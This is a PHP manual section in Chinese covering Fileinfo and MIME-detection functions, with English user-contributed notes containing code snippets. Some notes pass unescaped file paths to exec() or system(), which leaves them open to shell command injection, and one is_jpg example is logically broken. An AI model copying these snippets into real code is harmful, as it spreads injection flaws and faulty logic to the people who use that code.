$file = '<somefile>';
$ftype = 'application/octet-stream';
$finfo = @new finfo(FILEINFO_MIME);
$fres = @$finfo->file($file);
if (is_string($fres) && !empty($fres)) {
   $ftype = $fres;
}
?>
darko at uvcms dot com 24-Apr-2008 09:53
Another interresting feature of finfo_file on Windows.

This function can return empty string instead of FALSE for some file types (ppt for example). Therefore to be sure do a triple check of output result and provide default type just in case. Here is a sample code:

$ftype = 'application/octet-stream';
$finfo = @finfo_open(FILEINFO_MIME);
if ($finfo !== FALSE) {
   $fres = @finfo_file($finfo, $file);
   if ( ($fres !== FALSE)
        && is_string($fres)
        && (strlen($fres)>0)) {
            $ftype = $fres;
        }
   @finfo_close($finfo);
}
WebShowPro 25-Sep-2007 02:01
Just an improvement on the sample Ryan Day posted - slightly off topic since this method does not use finfo_file but in some cases this method might be preferable.

The main change is the -format %m parameters given to the identify call.  I would suggest using the full system path to identify i.e. /usr/bin/identify to be a little safer (the location may change from server to server though).

<?php

function is_jpg($fullpathtoimage){
    if(file_exists($fullpathtoimage)){
        exec("/usr/bin/identify -format %m $fullpathtoimage",$out);
        //using system() echos STDOUT automatically
        if(!empty($out)){
            //identify returns an empty result to php
            //if the file is not an image

            if($out == 'JPEG'){
                return true;
            }
        }
    }
    return false;
}

?>
Schraalhans Keukenmeester 21-May-2007 03:20
Tempting as it may seem to use finfo_file() to validate uploaded image files (Check whether a supposed imagefile really contains an image), the results cannot be trusted. It's not that hard to wrap harmful executable code in a file identified as a GIF for instance.

A better & safer option is to check the result of:

if (!$img = @imagecreatefromgif($uploadedfilename)) {
  trigger_error('Not a GIF image!',E_USER_WARNING);
  // do necessary stuff
}


创建新 finfo 实例

  • ? finfo_file
  • finfo_set_flags ?
  • PHP Manual
  • Fileinfo 函数
  • 创建新 finfo 实例

finfo_open

finfo::__construct

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo_open -- finfo::__construct — 创建新 finfo 实例

说明

过程化风格

finfo_open(int $flags = FILEINFO_NONE, ?string $magic_database = null): finfo|false

面向对象风格（构造器）：

public finfo::__construct(int $flags = FILEINFO_NONE, ?string $magic_database = null)

本函数打开一个魔数数据库并且返回它的实例。

参数

flags

一个 Fileinfo 常量 或多个 Fileinfo 常量 进行逻辑或运算。

magic_database

魔数数据库文件名称， 通常是 /path/to/magic.mime。 如果未指定，则使用 MAGIC 环境变量。 如果未指定此环境变量， 则使用 PHP 绑定的魔数数据库。

传入 null 或者空字符串，等同于使用默认值。

返回值

（仅适用于过程化风格） 成功时返回 finfo 实例， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在返回 finfo 实例，之前返回 resource。
8.0.3 | magic_database 现在可以为 null。

示例

Example #1 面向对象风格

<?php
$finfo = new finfo(FILEINFO_MIME, "/usr/share/misc/magic"); // 返回 mime 类型

/* get mime-type for a specific file */
$filename = "/usr/local/something.txt";
echo $finfo->file($filename);

?>

Example #2 过程化风格

<?php
$finfo = finfo_open(FILEINFO_MIME, "/usr/share/misc/magic"); // 返回 mime 类型

if (!$finfo) {
echo "Opening fileinfo database failed";
exit();
}

/* 获取指定文件的 mime 类型 */
$filename = "/usr/local/something.txt";
echo finfo_file($finfo, $filename);

/* 关闭资源 */
finfo_close($finfo);
?>

以上示例会输出：

text/plain; charset=us-ascii

注释

Note:

通常来说，除非特别需要自定义的魔数数据库。否则使用绑定的魔数数据库（不设置 magic_file 和 MAGIC 环境变量）是最好的做法。

参见

  • finfo_close() - 关闭 finfo 实例

User Contributed Notes

Anonymous 04-Jul-2013 07:41
For most common image files:
<?php
function minimime($fname) {
    $fh=fopen($fname,'rb');
    if ($fh) {
        $bytes6=fread($fh,6);
        fclose($fh);
        if ($bytes6===false) return false;
        if (substr($bytes6,0,3)=="\xff\xd8\xff") return 'image/jpeg';
        if ($bytes6=="\x89PNG\x0d\x0a") return 'image/png';
        if ($bytes6=="GIF87a" || $bytes6=="GIF89a") return 'image/gif';
        return 'application/octet-stream';
    }
    return false;
}
?>
illusivefingers at gmail dot com 06-Feb-2012 12:53
I am running Windows 7 with Apache.  It took hours to figure out why it was not working.

First, enable the php_fileinfo.dll extension in you php.ini. You'll also need the four magic files that are found in the following library:

http://sourceforge.net/projects/gnuwin32/files/file/4.23/file-4.23-bin.zip/download

An environment variable or a direct path to the file named "magic" is necessary, without any extension.

Then, make sure that xdebug is either turned off or set the ini error_reporting to not display notices or warnings for the script.

Hope this saves someone a few hours of frustration!
olivier dot berger at it-sudparis dot eu 09-Mar-2011 12:02
On my Debian squeeze system, the path needed is like :
<?php
 $finfo = new finfo(FILEINFO_MIME, "/usr/share/misc/magic.mgc");
?>
franssen dot roland at gmail dot com 11-May-2010 12:23
Notice FileInfo::__construct() has strange behavior in PHP < 5.3.1 when a 2nd parameter is set explicitly, e.g.;

<?php
$fileInfo = new finfo(FILEINFO_MIME, null);
?>

Expected result:
----------------
object(finfo)#2 (0) { }

Actual result:
--------------
Warning: finfo::finfo(): Failed to load magic database at ''. in *** on line ***
object(finfo)#2 (0) { }

See http://bugs.php.net/bug.php?id=51732
mark at dynom dot nl 09-Nov-2008 12:34
It seems there is quite some inconsistency in distributions and loading of magic files.

On Archlinux, the file is located here:
/usr/share/misc/file/magic.mgc

But this:

<?php
$fi = new finfo(FILEINFO_MIME, '/usr/share/misc/file/magic');
$fi->file('/tmp/fubar.txt');
?>

Actually segfaults, where if I type the full name (including the file extension:)

<?php
$fi = new finfo(FILEINFO_MIME, '/usr/share/misc/file/magic.mgc'); // added ".mgc"
$fi->file('/tmp/fubar.txt');
?>

It works as expected, so I guess something goes wrong with "A .mime and/or .mgc suffix is added if needed."
php at brudaswen dot de 15-Sep-2008 03:13
Since it costed me some time to find the needed magic database files for Windows, just a hint:

The last release of the GnuWin32 project with both needed files (magic and magic.mime) currently was "file-4.23".
All releases after 4.23 to 4.25-1 did not contain both needed files.

Hope that helps.
dario dot borreguero at gmail dot com 16-Apr-2008 03:15
Platform: WinXP-SP2, PHP5.2.5, MySQL 5.0, Apache 2.2.8

After reading former notes, I wasn't able to load my magic database: 'magic.mime' file (donwloaded from GnuWin32 project, zipped with the binary files v4.21). I always got an invalid $finfo object or finfo_open(...) returned FALSE.

In order to be able to load the 'magic.mime' file, Fileinfo library (bundled in PHP5.2.5) also requires 'magic' file.

For example:
1. Database:
  c:\php\magic.mime
  c:\php\magic

2. PHP Code:
<?php
  $filname = 'c:\php\php.ini';
  $finfo = new finfo(FILEINFO_MIME, 'c:\php\magic');
  if (!$finfo) return false;
  echo $finfo->file($filename);
?>

For further info see: http://pecl.php.net/bugs/bug.php?id=7555

Pay attention to comments added by 'christophe dot charron dot xul at gmail dot com'

NOTE: Before upgrading to PHP5.2.5, I was working with PHP5.2.1 and it only required 'magic.mime' file.
php at kingsquare dot nl 23-Jan-2008 07:41
The current version (1.04) doesnt support a different mime.magic database than the server default.

(the documentation is thus not correct)
Ubuntu default location is '/usr/share/file/magic'. In order for the examples to work all finfo_open()-commands must be issued with the extra location accordingly:
<?php
$file = "/path/to/file.jpg";
$handle = finfo_open(FILEINFO_MIME, '/usr/share/file/magic');
$mime_type = finfo_file($handle,$file);
?>
ian at createanet dot co dot uk 02-Nov-2007 08:50
Couldn't get finfo to return the mimetype in the way expected so i made a function to do it with system()

<?php
function get_mime_type($filepath) {
    ob_start();
    system("file -i -b {$filepath}");
    $output = ob_get_clean();
    $output = explode("; ",$output);
    if ( is_array($output) ) {
        $output = $output[0];
    }
    return $output;
}
?>

hope it works for other people too
tularis at php dot net 06-May-2007 12:55
On Windows systems people might find that this always returns "application/x-dpkg".
There are 2 ways of solving this problem:
1. Get the mime-magic database file from GnuWin32 at <http://sourceforge.net/projects/gnuwin32/>
2. You can manually "fix" the mime-magic file by editing it and escaping all lines starting with !, thus changing each one to \!


设置 libmagic 配置选项

  • ? finfo_open
  • mime_content_type ?
  • PHP Manual
  • Fileinfo 函数
  • 设置 libmagic 配置选项

finfo_set_flags

finfo::set_flags

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo_set_flags -- finfo::set_flags — 设置 libmagic 配置选项

说明

过程化风格

finfo_set_flags(finfo $finfo, int $flags): bool

面向对象风格

public finfo::set_flags(int $flags): bool

此函数用来设置 Fileinfo 选项。 这些选项也可以在调用 finfo_open() 或者其他 Fileinfo 函数时直接指定。

参数

finfo

经 finfo_open() 返回的 finfo 实例。

flags

一个 Fileinfo 常量 或多个 Fileinfo 常量 进行逻辑或运算。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | finfo 参数现在接受 finfo 实例，之前接受 resource。

User Contributed Notes

There are no user contributed notes for this page.


检测文件的 MIME 类型

  • ? finfo_set_flags
  • finfo ?
  • PHP Manual
  • Fileinfo 函数
  • 检测文件的 MIME 类型

mime_content_type

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mime_content_type — 检测文件的 MIME 类型

说明

mime_content_type(resource|string $filename): string|false

返回通过使用 magic.mime 检测到的文件 MIME 类型。

参数

filename

要检测的文件名。

返回值

返回文件的 MIME 内容类型，例如 text/plain 或 application/octet-stream。 或者在失败时返回 false。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 mime_content_type() 示例

<?php
echo mime_content_type('php.gif') . "\n";
echo mime_content_type('test.php');
?>

以上示例会输出：

image/gif
text/plain

参见

  • finfo_file() - 别名 finfo_file()
  • finfo_buffer() - 别名 finfo_buffer()

User Contributed Notes

David Spector 09-Jan-2020 08:40
On Windows, PHP 7.0.30 gave the error message "Fatal error: Uncaught Error: Call to undefined function mime_content_type()". I saw the following interesting line in my Apache configuration:

#LoadModule mime_magic_module modules/mod_mime_magic.so

so I tried uncommenting it and restarting the Apache service, but still got the same error.  A Web search shows that this function is deprecated. It appears to have been removed from PHP. Not sure why, but can be worked around with a user function.
Anonymous 19-Mar-2016 08:21
There is a composer package that will do this:
https://github.com/ralouphie/mimey

<?php
$mimes = new \Mimey\MimeTypes;

// Convert extension to MIME type:
$mimes->getMimeType('json'); // application/json

// Convert MIME type to extension:
$mimes->getExtension('application/json'); // json
jacopo dot mazzoni at gmail dot com 16-Aug-2015 09:06
Slight improvement over  Josh Sean's code: this makes a usable and formatted php file containing the latest mime associations ( strictly using the file extension) in an array or if the file_get_contents fails ( say you are offline ) leaves the original file alone.
I made it a bit "dummer" for readability purposes, don't judge me just improve it on your own.

<?php
define('APACHE_MIME_TYPES_URL','http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types');

function generateUpToDateMimeArray($url){
    $s=array();
    $result = @file_get_contents($url);
    if ($result == FALSE )
    {
        $returned = "ERROR";
    }
    else
    {
        foreach(@explode("\n",$result)as $x)
        {
            if(isset($x[0])&&$x[0]!=='#'&&preg_match_all('#([^\s]+)#',$x,$out)&&isset($out[1])&&($c=count($out[1]))>1)
                for($i=1;$i<$c;$i++)
                    $s[]='    \''.$out[1][$i].'\' => \''.$out[1][0].'\'';
        }
        $returned =  @sort($s)?'<?php' . "\n" . '$mime_types = array(' . "\n" . implode($s,",\n") . "\n);\n" . '?>':false;
    }
    return $returned;
}

    $file_name = 'mime-array.php';
    $data = generateUpToDateMimeArray(APACHE_MIME_TYPES_URL);

    if ($data != "ERROR")
    {
        $file = fopen($file_name, 'wb') or die("cannot open $file_name\n");
        fwrite($file, $data ) or die("cannot write data\n");
        fclose($file);
        echo "updated";
    }
    else
    {
        echo "faliure";
    }

?>
All you need to do is run it once and in your code you can simply add these two lines:

<?php
include 'mime-array.php';
global $mime_types;
?>

enjoy
alex at webedge dot ca 10-Apr-2015 12:42
// Here is a working version of a function that fetches the meme types from apache's built in mime list and creates an array of which the keys are the file extensions:

function generateUpToDateMimeArray($url){
    $return = array();
    $mimes = file_get_contents('http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types'); // make sure that allow_url_fopen is enabled!

    preg_match_all('#^([^\s]{2,}?)\s+(.+?)$#ism', $mimes, $matches, PREG_SET_ORDER);

    foreach ($matches as $match){
        $exts = split(" ", $match[2]);
        foreach ($exts as $ext){
            $return[$ext]=$match[1];
        }
    }
    return $return;
}

// usage:

$typeMime = generateUpToDateMimeArray();
echo $typeMime['gif'];
Bond Akinmade 01-Mar-2015 02:11
using
<?php
function detectFileMimeType($filename='')
{
    $filename = escapeshellcmd($filename);
    $command = "file -b --mime-type -m /usr/share/misc/magic {$filename}";

    $mimeType = shell_exec($command);

    return trim($mimeType);
}
?>
should work on most shared linux hosts without errors. It should also work on Windows hosts with msysgit installed.
ppaster at mailinator dot com 22-Jul-2014 09:34
additional to svogal's video files:
'mp4' => 'video/mp4',
what also works:
'mp4' => 'audio/mp4',
Josh Sean 05-Mar-2012 07:04
Fast generation of uptodate mime types:

<?php
define('APACHE_MIME_TYPES_URL','http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types');

function generateUpToDateMimeArray($url){
    $s=array();
    foreach(@explode("\n",@file_get_contents($url))as $x)
        if(isset($x[0])&&$x[0]!=='#'&&preg_match_all('#([^\s]+)#',$x,$out)&&isset($out[1])&&($c=count($out[1]))>1)
            for($i=1;$i<$c;$i++)
                $s[]='&nbsp;&nbsp;&nbsp;\''.$out[1][$i].'\' => \''.$out[1][0].'\'';
    return @sort($s)?'$mime_types = array(<br />'.implode($s,',<br />').'<br />);':false;
}

echo
generateUpToDateMimeArray(APACHE_MIME_TYPES_URL);
?>

Output:
$mime_types = array(
   '123' => 'application/vnd.lotus-1-2-3',
   '3dml' => 'text/vnd.in3d.3dml',
   '3g2' => 'video/3gpp2',
   '3gp' => 'video/3gpp',
   '7z' => 'application/x-7z-compressed',
   'aab' => 'application/x-authorware-bin',
   'aac' => 'audio/x-aac',
   'aam' => 'application/x-authorware-map',
   'aas' => 'application/x-authorware-seg',
...

Enjoy.
john dot howard at prismmg dot com 26-Oct-2009 03:43
Here's a simple function to return MIME types, based on the Apache mime.types file. [The one in my previous submission, which has since been replaced by this one] only works properly if mime.types is formatted as Windows text. The updated version below corrects this problem. Thanks to Mike for pointing this out.

<?php
function get_mime_type($filename, $mimePath = '../etc') {
   $fileext = substr(strrchr($filename, '.'), 1);
   if (empty($fileext)) return (false);
   $regex = "/^([\w\+\-\.\/]+)\s+(\w+\s)*($fileext\s)/i";
   $lines = file("$mimePath/mime.types");
   foreach($lines as $line) {
      if (substr($line, 0, 1) == '#') continue; // skip comments
      $line = rtrim($line) . " ";
      if (!preg_match($regex, $line, $matches)) continue; // no match to the extension
      return ($matches[1]);
   }
   return (false); // no match at all
}
?>

Notes:
[1] Requires mime.types file distributed with Apache (normally found at ServerRoot/conf/mime.types).  If you are using shared hosting, download the file with the Apache distro and then upload it to a directory on your web server that php has access to.

[2] First param is the filename (required). Second parameter is path to mime.types file (optional; defaults to home/etc/).

[3] Based on MIME types registered with IANA (http://www.iana.org/assignments/media-types/index.html). Recognizes 630 extensions associated with 498 MIME types.

[4] Asserts MIME type based on filename extension. Does not examine the actual file; the file does not even have to exist.

[5] Examples of use:
>> echo get_mime_type('myFile.xml');
>> application/xml
>> echo get_mime_type('myPath/myFile.js');
>> application/javascript
>> echo get_mime_type('myPresentation.ppt');
>> application/vnd.ms-powerpoint
>> echo get_mime_type('http://mySite.com/myPage.php);
>> application/x-httpd-php
>> echo get_mime_type('myPicture.jpg');
>> image/jpeg
>> echo get_mime_type('myMusic.mp3');
>> audio/mpeg
and so on...

To create an associative array containing MIME types, use:
<?php
function get_mime_array($mimePath = '../etc')
{
   $regex = "/([\w\+\-\.\/]+)\t+([\w\s]+)/i";
   $lines = file("$mimePath/mime.types", FILE_IGNORE_NEW_LINES);
   foreach($lines as $line) {
      if (substr($line, 0, 1) == '#') continue; // skip comments
      if (!preg_match($regex, $line, $matches)) continue; // skip mime types w/o any extensions
      $mime = $matches[1];
      $extensions = explode(" ", $matches[2]);
      foreach($extensions as $ext) $mimeArray[trim($ext)] = $mime;
   }
   return ($mimeArray);
}
?>
Bob 21-Jun-2009 04:25
I see a lot of comments suggesting doing file extension sniffing (i.e. assuming .jpg files are JPEG images) when proper file-type sniffing functions are unavailable.
I want to point out that there is a much more accurate way.
If neither mime_content_type() nor Fileinfo is available to you and you are running *any* UNIX variant since the 70s, including Mac OS, OS X, Linux, etc. (and most web hosting is), just make a system call to 'file(1)'.
Doing something like this:
<?php
echo system("file -bi '<file path>'");
?>
will output something like "text/html; charset=us-ascii". Some systems won't add the charset bit, but strip it off just in case.
The '-bi' bit is important. However, you can use a command like this:
<?php
echo system("file -b '<file path>'"); // without the 'i' after '-b'
?>
to output a human-readable string, like "HTML document text", which can sometimes be useful.
The only drawback is that your scripts will not work on Windows, but is this such a problem? Just about all web hosts use a UNIX.
It is a far better way than just examining the file extension.
svogal 26-Dec-2008 07:17
<?php
if(!function_exists('mime_content_type')) {

    function mime_content_type($filename) {

        $mime_types = array(

            'txt' => 'text/plain',
            'htm' => 'text/html',
            'html' => 'text/html',
            'php' => 'text/html',
            'css' => 'text/css',
            'js' => 'application/javascript',
            'json' => 'application/json',
            'xml' => 'application/xml',
            'swf' => 'application/x-shockwave-flash',
            'flv' => 'video/x-flv',

            // images
            'png' => 'image/png',
            'jpe' => 'image/jpeg',
            'jpeg' => 'image/jpeg',
            'jpg' => 'image/jpeg',
            'gif' => 'image/gif',
            'bmp' => 'image/bmp',
            'ico' => 'image/vnd.microsoft.icon',
            'tiff' => 'image/tiff',
            'tif' => 'image/tiff',
            'svg' => 'image/svg+xml',
            'svgz' => 'image/svg+xml',

            // archives
            'zip' => 'application/zip',
            'rar' => 'application/x-rar-compressed',
            'exe' => 'application/x-msdownload',
            'msi' => 'application/x-msdownload',
            'cab' => 'application/vnd.ms-cab-compressed',

            // audio/video
            'mp3' => 'audio/mpeg',
            'qt' => 'video/quicktime',
            'mov' => 'video/quicktime',

            // adobe
            'pdf' => 'application/pdf',
            'psd' => 'image/vnd.adobe.photoshop',
            'ai' => 'application/postscript',
            'eps' => 'application/postscript',
            'ps' => 'application/postscript',

            // ms office
            'doc' => 'application/msword',
            'rtf' => 'application/rtf',
            'xls' => 'application/vnd.ms-excel',
            'ppt' => 'application/vnd.ms-powerpoint',

            // open office
            'odt' => 'application/vnd.oasis.opendocument.text',
            'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
        );

        $ext = strtolower(array_pop(explode('.',$filename)));
        if (array_key_exists($ext, $mime_types)) {
            return $mime_types[$ext];
        }
        elseif (function_exists('finfo_open')) {
            $finfo = finfo_open(FILEINFO_MIME);
            $mimetype = finfo_file($finfo, $filename);
            finfo_close($finfo);
            return $mimetype;
        }
        else {
            return 'application/octet-stream';
        }
    }
}
?>
geompse 22-Sep-2008 11:46
Lukas V is IMO missing some point. The MIME type of a file may not be corresponding to the file suffix.

Imagine someone would obfuscate some PHP code in a .gif file, the file suffix would be 'GIF' but the MIME would be text/plain or even text/html.

Another example is files fetched via a distant server (wget / fopen / file / fsockopen...). The server can issue an error, i.e. 404 Not Found, wich again is text/html, whatever you save the file to (download_archive.rar).

His provided function should begin by the test of the function existancy like :

function MIMEalternative($file)
{
    if(function_exists('mime_content_type'))
        return mime_content_type($file);
    else
        return <lukas_v.MIMEfunction>($file);
}
php [spat] hm2k.org 21-Aug-2008 10:52
I also had issues with this function.

The issue was that it would almost always return "text/plain".

echo ini_get('mime_magic.magicfile'); // returns /etc/httpd/conf/magic

I found that I needed the OS' magic.mime file instead.

You can either copy it to the existing location, or update your php.ini, you cannot use ini_set().

[root@blade conf]# mv magic magic.old
[root@blade conf]# cp /usr/share/magic.mime magic
[root@blade conf]# apachectl graceful

Note: you will see that I have gracefully restarted apache to ensure it has taken affect.
memi aet liip doet ch 06-Jun-2008 02:59
Regarding serkanyersen's example : It is advisable to change the regular expression to something more precise like

preg_match("|\.([a-z0-9]{2,4})$|i", $filename, $m);

This makes sure that only the last few characters are taken. The original expression would not work if the filename is a relative path.
mami at madagascarsurlenet dot com 13-Nov-2007 10:58
Since I enabled the mime_magic extension on my IIS, I also got the error message "invalid magic file, disabled" in my phpinfo. After I add these lines to my php.ini, the message disappeared and it works great!

mime_magic.debug = Off
mime_magic.magicfile ="D:\PHP5\extras\magic.mime"

mime_magic.debug is by default off but without this line it fails. I'm using PHP 5.2.5.
Sune Jensen 29-Aug-2007 09:16
For me mime_content_type didn't work in Linux before I added

mime_magic.magicfile = "/usr/share/magic.mime"

to php.ini (remember to find the correct path to mime.magic)
Quis at IHAVEGOTSPAMENOUGH dot omicidio dot nl 12-Feb-2007 09:28
<?PHP
  function qmimetype($file) {
    $ext=array_pop(explode('.',$file));
    foreach(file('/usr/local/etc/apache22/mime.types') as $line)
      if(preg_match('/^([^#]\S+)\s+.*'.$ext.'.*$/',$line,$m))
        return $m[1];
    return 'application/octet-stream';
  }
?>

Not perfect, but works good enough for me ;)
tree2054 using hotmail 03-Nov-2006 05:59
The correct little correction:

exec will return the mime with a newline at the end, the trim() should be called with the result of exec, not the other way around.

<?php

if ( ! function_exists ( 'mime_content_type ' ) )
{
   function mime_content_type ( $f )
   {
       return trim ( exec ('file -bi ' . escapeshellarg ( $f ) ) ) ;
   }
}

?>
15-Oct-2006 07:06
if you use a transparent 'spacer' GIF i've found it needs to be a around 25x25 for it to register as 'image/gif'. otherwise it's read in as 'text/plain'.
webmaster at cafe-clope dot net 23-Feb-2006 05:31
Completing <some dude AT somewhere DOT com> comment:

0 string < ? php application/x-httpd-php

and string detection on text files may fail if you check a file encoded with signed UTF-8. The UTF-8 signature is a two bytes code (0xFF 0xFE) that prepends the file in order to force UTF-8 recognition (you may check it on an hexadecimal editor).
some dude AT somewhere DOT com 07-Oct-2005 09:44
I added these two lines to my magic.mime file:

0 string \<?php application/x-httpd-php
0 string \<?xml text/xml

The first one may not work if "<?php" is not at the very beginning of your file, e.g., if some HTML preceeds the first bit of PHP code. The second one should work because "<?xml" *should* be the first thing in every XML file.
ginnsu at arcee dot ca 08-Mar-2005 10:14
The function mime_content_type only worked for me on Microsoft Windows after I added the directive "mime_magic.debug" to my php.ini with the value of "On". The default value appears to be "Off". Exampe:

[mime_magic]
mime_magic.debug = On
mime_magic.magicfile = "c:\php\extras\magic.mime"


finfo 类

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

简介

该类在 fileinfo 函数集中提供了一个面向对象的接口。

类摘要

class finfo {
/* 方法 */
public __construct(int $flags = FILEINFO_NONE, ?string $magic_database = null)
public buffer(string $string, int $flags = FILEINFO_NONE, ?resource $context = null): string|false
public file(string $filename, int $flags = FILEINFO_NONE, ?resource $context = null): string|false
public set_flags(int $flags): bool
}

Table of Contents

  • finfo::buffer — 别名 finfo_buffer()
  • finfo::__construct — 别名 finfo_open
  • finfo::file — 别名 finfo_file()
  • finfo::set_flags — 别名 finfo_set_flags()

User Contributed Notes

There are no user contributed notes for this page.


别名 finfo_buffer()

  • ? finfo
  • finfo::__construct ?
  • PHP Manual
  • finfo
  • 别名 finfo_buffer()

finfo::buffer

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo::buffer — 别名 finfo_buffer()

说明

public finfo::buffer(string $string, int $flags = FILEINFO_NONE, ?resource $context = null): string|false

此函数是该函数的别名： finfo_buffer()

User Contributed Notes

There are no user contributed notes for this page.


别名 finfo_open

  • ? finfo::buffer
  • finfo::file ?
  • PHP Manual
  • finfo
  • 别名 finfo_open

finfo::__construct

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo::__construct — 别名 finfo_open()

说明

public finfo::__construct(int $flags = FILEINFO_NONE, ?string $magic_database = null)

此函数是该函数的别名： finfo_open()

更新日志

版本 | 说明
8.0.3 | magic_database is nullable now.

User Contributed Notes

There are no user contributed notes for this page.


别名 finfo_file()

  • ? finfo::__construct
  • finfo::set_flags ?
  • PHP Manual
  • finfo
  • 别名 finfo_file()

finfo::file

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo::file — 别名 finfo_file()

说明

public finfo::file(string $filename, int $flags = FILEINFO_NONE, ?resource $context = null): string|false

此函数是该函数的别名： finfo_file()

User Contributed Notes

There are no user contributed notes for this page.


别名 finfo_set_flags()

  • ? finfo::file
  • 文件系统 ?
  • PHP Manual
  • finfo
  • 别名 finfo_set_flags()

finfo::set_flags

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo::set_flags — 别名 finfo_set_flags()

说明

public finfo::set_flags(int $flags): bool

此函数是该函数的别名： finfo_set_flags()

User Contributed Notes

There are no user contributed notes for this page.


文件系统

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 文件系统函数
    • basename — 返回路径中的文件名部分
    • chgrp — 改变文件所属的组
    • chmod — 改变文件模式
    • chown — 改变文件的所有者
    • clearstatcache — 清除文件状态缓存
    • copy — 拷贝文件
    • delete — 参见 unlink 或 unset
    • dirname — 返回路径中的目录部分
    • disk_free_space — 返回目录中的可用空间
    • disk_total_space — 返回一个目录的磁盘总大小
    • diskfreespace — disk_free_space 的别名
    • fclose — 关闭一个已打开的文件指针
    • fdatasync — 同步文件数据（不包含元数据）
    • feof — 测试文件指针是否到了文件结束的位置
    • fflush — 将缓冲内容输出到文件
    • fgetc — 从文件指针中读取字符
    • fgetcsv — 从文件指针中读入一行并解析 CSV 字段
    • fgets — 从文件指针中读取一行
    • fgetss — 从文件指针中读取一行并过滤掉 HTML 标记
    • file_exists — 检查文件或目录是否存在
    • file_get_contents — 将整个文件读入一个字符串
    • file_put_contents — 将数据写入文件
    • file — 把整个文件读入一个数组中
    • fileatime — 取得文件的上次访问时间
    • filectime — 取得文件的 inode 修改时间
    • filegroup — 取得文件的组
    • fileinode — 取得文件的 inode
    • filemtime — 取得文件修改时间
    • fileowner — 取得文件的所有者
    • fileperms — 获取文件权限
    • filesize — 取得文件大小
    • filetype — 取得文件类型
    • flock — 可移植的协同文件锁定
    • fnmatch — 用模式匹配文件名
    • fopen — 打开文件或者 URL
    • fpassthru — 输出文件指针处的所有剩余数据
    • fputcsv — 将行格式化为 CSV 并写入文件指针
    • fputs — fwrite 的别名
    • fread — 读取文件（可安全用于二进制文件）
    • fscanf — 从文件中格式化输入
    • fseek — 在文件指针中定位
    • fstat — 通过已打开的文件指针取得文件信息
    • fsync — 同步文件变更（包括元数据）
    • ftell — 返回文件指针读/写的位置
    • ftruncate — 将文件截断到指定的长度
    • fwrite — 写入文件（可安全用于二进制文件）
    • glob — 寻找与模式匹配的文件路径
    • is_dir — 判断给定文件名是否是一个目录
    • is_executable — 判断给定文件名是否可执行
    • is_file — 判断给定文件名是否为一个正常的文件
    • is_link — 判断给定文件名是否为一个符号连接
    • is_readable — 判断给定文件名是否可读
    • is_uploaded_file — 判断文件是否是通过 HTTP POST 上传的
    • is_writable — 判断给定的文件名是否可写
    • is_writeable — is_writable 的别名
    • lchgrp — 修改符号链接的所有组
    • lchown — 修改符号链接的所有者
    • link — 建立一个硬连接
    • linkinfo — 获取一个连接的信息
    • lstat — 给出一个文件或符号连接的信息
    • mkdir — 新建目录
    • move_uploaded_file — 将上传的文件移动到新位置
    • parse_ini_file — 解析一个配置文件
    • parse_ini_string — 解析配置字符串
    • pathinfo — 返回文件路径的信息
    • pclose — 关闭进程文件指针
    • popen — 打开进程文件指针
    • readfile — 输出文件
    • readlink — 返回符号连接指向的目标
    • realpath_cache_get — 获取真实目录缓存的详情
    • realpath_cache_size — 获取真实路径缓冲区的大小
    • realpath — 返回规范化的绝对路径名
    • rename — 重命名一个文件或目录
    • rewind — 倒回文件指针的位置
    • rmdir — 删除目录
    • set_file_buffer — stream_set_write_buffer 的别名
    • stat — 给出文件的信息
    • symlink — 建立符号连接
    • tempnam — 建立一个具有唯一文件名的文件
    • tmpfile — 建立一个临时文件
    • touch — 设定文件的访问和修改时间
    • umask — 改变当前的 umask
    • unlink — 删除文件

User Contributed Notes

There are no user contributed notes for this page.


简介

编译此扩展无需任何额外的库，但想要 PHP 支持 Linux 的 LFS（large files），需要最新的 glibc，并在编译 PHP 时带上以下标记： -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

文件系统和流配置选项
名字 | 默认 | 可修改范围 | 更新日志
allow_url_fopen | "1" | PHP_INI_SYSTEM |
allow_url_include | "0" | PHP_INI_SYSTEM | 自 PHP 7.4.0 起废弃。
user_agent | NULL | PHP_INI_ALL |
default_socket_timeout | "60" | PHP_INI_ALL |
from | "" | PHP_INI_ALL |
auto_detect_line_endings | "0" | PHP_INI_ALL | 自 PHP 8.1.0 起弃用。
sys_temp_dir | "" | PHP_INI_SYSTEM |

这是配置指令的简短说明。

allow_url_fopen bool

本选项激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象例如文件。默认的封装协议提供用 ftp 和 http 协议来访问远程文件，一些扩展库例如 zlib 可能会注册更多的封装协议。

allow_url_include bool

This option allows the use of URL-aware fopen wrappers with the following functions: include, include_once, require, require_once.

Note:

这个设置项需要开启 allow_url_fopen 。

user_agent string

定义 PHP 发送的 User-Agent。

default_socket_timeout int

指定基于 socket 的流的默认超时时间（秒）。指定一个负值意味着不会超时。

from string

这个 email 地址在使用 ftp 封装器的时候用于未认证的 FTP 连接，在使用 http 封装器的时候用于 HTTP 连接的消息头中的 From 字段。

auto_detect_line_endings bool

当设为 On 时，PHP 将检查通过 fgets() 和 file() 取得的数据中的行结束符号是符合 Unix，MS-DOS，还是 Macintosh 的习惯。

